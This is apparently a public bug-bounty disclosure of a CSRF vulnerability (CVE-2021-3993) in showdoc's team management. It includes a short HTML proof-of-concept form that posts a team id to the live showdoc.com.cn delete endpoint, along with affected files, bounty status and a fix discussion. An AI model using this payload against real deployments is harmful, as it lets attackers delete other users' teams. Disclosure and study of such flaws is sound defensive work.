Cross-Site Request Forgery (CSRF) in star7th/showdoc

0

Valid Reported on Nov 21st 2021

Description

You set the `strict` flag only for one of your cookies named `cookie_token` but in Team management attacker still can delete or add teams with CSRF vulnerability as the cookie with name `PHPSESSID` don't have `strict` flag.

Proof of Concept

1.replace `38046` with the `team id`
2.open poc.html and click on submit button.
3.after that the team with id `38046` or your replaced team id will be deleted.
//poc.html

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.showdoc.com.cn/server/index.php?s=/api/team/d
      <input type="hidden" name="id" value="38046" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Occurrences

TeamMemberController.class.php L1-L36
TeamController.class.php L1-L23
ItemModel.class.php L1-L40
TeamMemberController.class.php L93-L119
TeamItemController.class.php L1-L39
TeamItemController.class.php L124-L153

CVE
CVE-2021-3993
(Published)

Vulnerability Type
CWE-352: Cross-Site Request Forgery (CSRF)

Severity
Medium (4.3)

Visibility
Public

Status
Fixed

Found by

amammad
@amammad
pro

Fixed by

star7th
@star7th
unranked

This report was seen 404 times.

We are processing your report and will contact the **star7th/showdoc** team within 24 hours.
a year ago

star7th validated this vulnerability a year ago

amammad has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

star7th marked this as fixed in v2.9.13 with commit 654e87 a year ago

star7th has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

ItemModel.class.php#L1-L40 has been validated ✔

TeamItemController.class.php#L1-L39 has been validated ✔

TeamMemberController.class.php#L1-L36 has been validated ✔

TeamController.class.php#L1-L23 has been validated ✔

TeamMemberController.class.php#L93-L119 has been validated ✔

TeamItemController.class.php#L124-L153 has been validated ✔

star7th a year ago Maintainer

I should fix it. You can test it

amammad a year ago Researcher

Hey chen

Not fixed and just like before(I logout from the system and login again)

this is a fix commit that have a good fix for strict cookies :

https://github.com/devcode-it/openstamanager/blob/402dca9162a84cf7617a8bbd582aa9ad51259016/core.php#L58

Jamie Slome a year ago Admin

@amammad 👌 it looks like a bug on our side caused the disclosure bounty to be set to $155. We have reset it to the value displayed at disclosure ($64). Apologies for the confusion or inconvenience.

star7th a year ago Maintainer

@amammad You can close the browser and open it again. Because the previous phpsessid was automatically maintained by the program, you need to restart the browser to invalidate it. If you log in again, the phpsessid is not regenerated.

Jamie Slome a year ago Admin

CVE published! 🎊

Sign in to join this conversation